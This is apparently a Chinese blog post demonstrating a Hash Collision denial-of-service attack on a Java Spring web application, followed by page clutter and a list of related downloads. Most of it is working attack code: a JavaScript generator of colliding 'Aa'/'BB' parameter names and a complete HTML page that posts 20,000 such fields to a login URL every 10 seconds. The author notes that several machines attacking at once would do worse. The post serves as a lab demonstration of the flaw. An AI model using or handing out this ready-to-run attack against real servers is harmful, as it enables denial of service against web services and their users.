`
goodscript
  • 浏览: 71898 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

关于Hash Collision DoS漏洞:web实例

    博客分类:
  • java
 
阅读更多
关于Hash Collision DoS漏洞:解析与解决方案
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
构造一个有漏洞的服务程序
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。

假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。


如何构造N多的Hash Collision数据
0(Aa)   1(BB)
-----------------
01          10
-----------------
0101 0110  1001 1010
-------------------------------------------
01010101 01010110  01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据

	function combination(a)
{
	var res=[];
	 for(var i = 0; i < a.length; i++ )
	{
		var item=a[i];
		for(var j = 0; j < a.length; j++)
		{
			res.push(item+""+a[j]);
		}
	}
	return res;
}


如何提交请求到服务器
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8">
<html>
	<head>
		<title>login</title>
		<script type="text/javascript"	src="jquery-1.5.1.js"></script>
		
		<script type="text/javascript">
	function combination(a)
{
	var res=[];
	 for(var i = 0; i < a.length; i++ )
	{
		var item=a[i];
		for(var j = 0; j < a.length; j++)
		{
			res.push(item+""+a[j]);
		}
	}
	return res;
}
	
	function submitreq()
{
	
	var a = [0, 1];
	var ret;
	var myform=document.forms[0];
	var action=myform.action;
	
	for(var i = 0; i < 4; i++ )
	{	
		a=combination(a);
	}
	//一次提交20000个参数,如果你的机器性能还可以改大点
	for(var j = 0; j < 20000; j++)
	{
		var temp=a[j];
		temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');
		//ret+=temp+"="+j+"&";
		$("#UName").after("<input type=\"hidden\" name=\""+temp+"\" value=\"\">"); 
	}
	//myform.action=action+"?"+ret;
	myform.submit();
}
//每10秒钟执行一次
window.setInterval("submitreq()", 10000);
	</script>
	</head>

	<body>
		<form action="http://192.168.1.20:8080/spring3/user/login" method="post">
			name:
			<input name="name" id="UName">
			<br />
			password:
			<input type="password" name="password">
			<br />
			<input type="button" value="login" onclick="submitreq()" />
		</form>
		
	</body>
</html>




测试结果
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。


结果图


附件说明:
hash_dos_html.rar   html页面代码和jquery源码
HashCollisionDoS.rar  web project 源代码
  • 大小: 17.1 KB
分享到:
评论

相关推荐

    Java Hash Collision DoS Attack

    Java实现的Hash Collision DoS Attack

    警惕Hash Collision Dos.pdf

    警惕Hash Collision Dos.pdf

    c++中hash_table以及std::map应用案例

    代码重点是hash_table,附加std::map与其做对比,实现的是一条sql语句:select c_nationkey, c_mktsegment, count(*), max(c_acctbal) from aaa_customer_1g group by c_nationkey, c_mktsegment order by c_...

    php_hash_collision_finder:多线程 PHP 十六进制字符串等价碰撞查找器

    $suffix) == '0' 这个特性可以在各种签名验证算法中被利用,这个工具是为了漏洞演示而编写的,不需要发送大量的web请求。 用 g++ 或 clang++ 编译它(由于某些错误,某些 g++ 版本无法编译它)。 FROM_CHAR 和 TO_...

    各种Hash函数(JAVA版)

    RS-Hash Function Value: " + ghl.RSHash(key)); System.out.println(" 2. JS-Hash Function Value: " + ghl.JSHash(key)); System.out.println(" 3. PJW-Hash Function Value: " + ghl.PJWHash(key)); System....

    php-hash-dos:针对PHP的PoC哈希复杂度DoS

    PHP Hash DoS漏洞示范运行time php scripts/exploited.php &lt; example&gt;/dev/null 。 该脚本仅读取JSON文件并将其打印出来。 如果您想要一个较小的文件,只需运行perl scripts/minimize.pl 65536 &lt; example&gt;test.json...

    hash函数 实例

    hash函数实例 c语言版 不喜勿喷!

    hashcat-master

    在Hashcat诞生之前已经有一些近乎完美的密码破解工具,例如“PasswordsPro”、“John The Ripper”,2009年出世的Hashcat则实现了对于现代CPU多内核的利用。 Hashcat在操作系统上支持Windows 7/8/10、Apple OS X ...

    HASH算法应用的VC演示实例程序

    由于项目中要用到hash,最近在研究Hash算法有关资料,这是在网上收集的有关hash算法程序,对学习hash算法有一定的帮助,果断大出来分享给大家,呵呵!

    Name-That-Hash::link:不知道它是什么类型的哈希? 命名哈希将命名该哈希类型! :robot:识别MD5,SHA256和3000多种其他哈希值with带有简洁的Web应用程序:fire:

    :right_arrow: | :left_arrow: 现代哈希识别系统pip3 install name-that-hash && nth :thinking_face: 这是什么? 您是否遇到过像5f4dcc3b5aa765d61d8327deb882cf99这样的哈希,并且想知道这是什么类型的哈希? :...

    WebCruiser - Web Vulnerability Scanner(Web漏洞扫描器)

    一个小巧但功能不凡的Web应用漏洞扫描器,能够对整个网站进行漏洞扫描,并能够对发现的漏洞(SQL注入,跨站脚本)进行验证;它也可以单独进行漏洞验证。 运行平台:Windows with .Net FrameWork 2.0或以上。 界面...

    hashcollision

    莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...

    murmurHash3.js:JavaScript中的MurmurHash3

    MurmurHash3.js-JavaScript中的 。 用法 &gt; const murmurHash3 = require ( 'murmurhash3.js' ) ; // Return a 32bit hash as an unsigned integer: &gt; murmurHash3 . x86 . hash32 ( "I will not buy this record, it...

    hashcat [hashcat wiki].rar

    hashcat is the world’s fastest and most advanced password recovery tool. This version combines the previous CPU-based hashcat (now called hashcat-legacy) and GPU-based oclHashcat. Hashcat is ...

    hashcat-utils-1.9.7z

    hashcat-utils Hashcat-utils are a set of small utilities that are useful in advanced password cracking Brief description They all are packed into multiple stand-alone binaries. All of these utils ...

    bcrypt库C/C++使用

    std::string hash = BCrypt::generateHash(password); //用于判断密码和数据库password加密后的字符串是否匹配 std::cout &lt;&lt; BCrypt::validatePassword(password,hash) &lt;&lt; std::endl; std::cout &lt;&lt; BCrypt::...

    jhash::key:Java中的密码哈希实用程序

    它可以使用PBKDF2 hmac SHA1 ...下载Maven: &lt; dependency&gt; &lt; groupId&gt;com.amdelamar&lt;/ groupId&gt; &lt; artifactId&gt;jhash&lt;/ artifactId&gt; &lt; version&gt;2.2.0&lt;/ version&gt;&lt;/ dependency&gt; Gradle: dependencies { compile ' ...

    hashcat.zip

    hashcat.zip

    geohash:用于golang的geohash

    ## geohash geohash算法: : package mainimport ("fmt""github.com/gansidui/geohash")func main () {latitude := 39.92324longitude := 116.3906precision := 5hash , box := geohash . Encode ( latitude , ...

Global site tag (gtag.js) - Google Analytics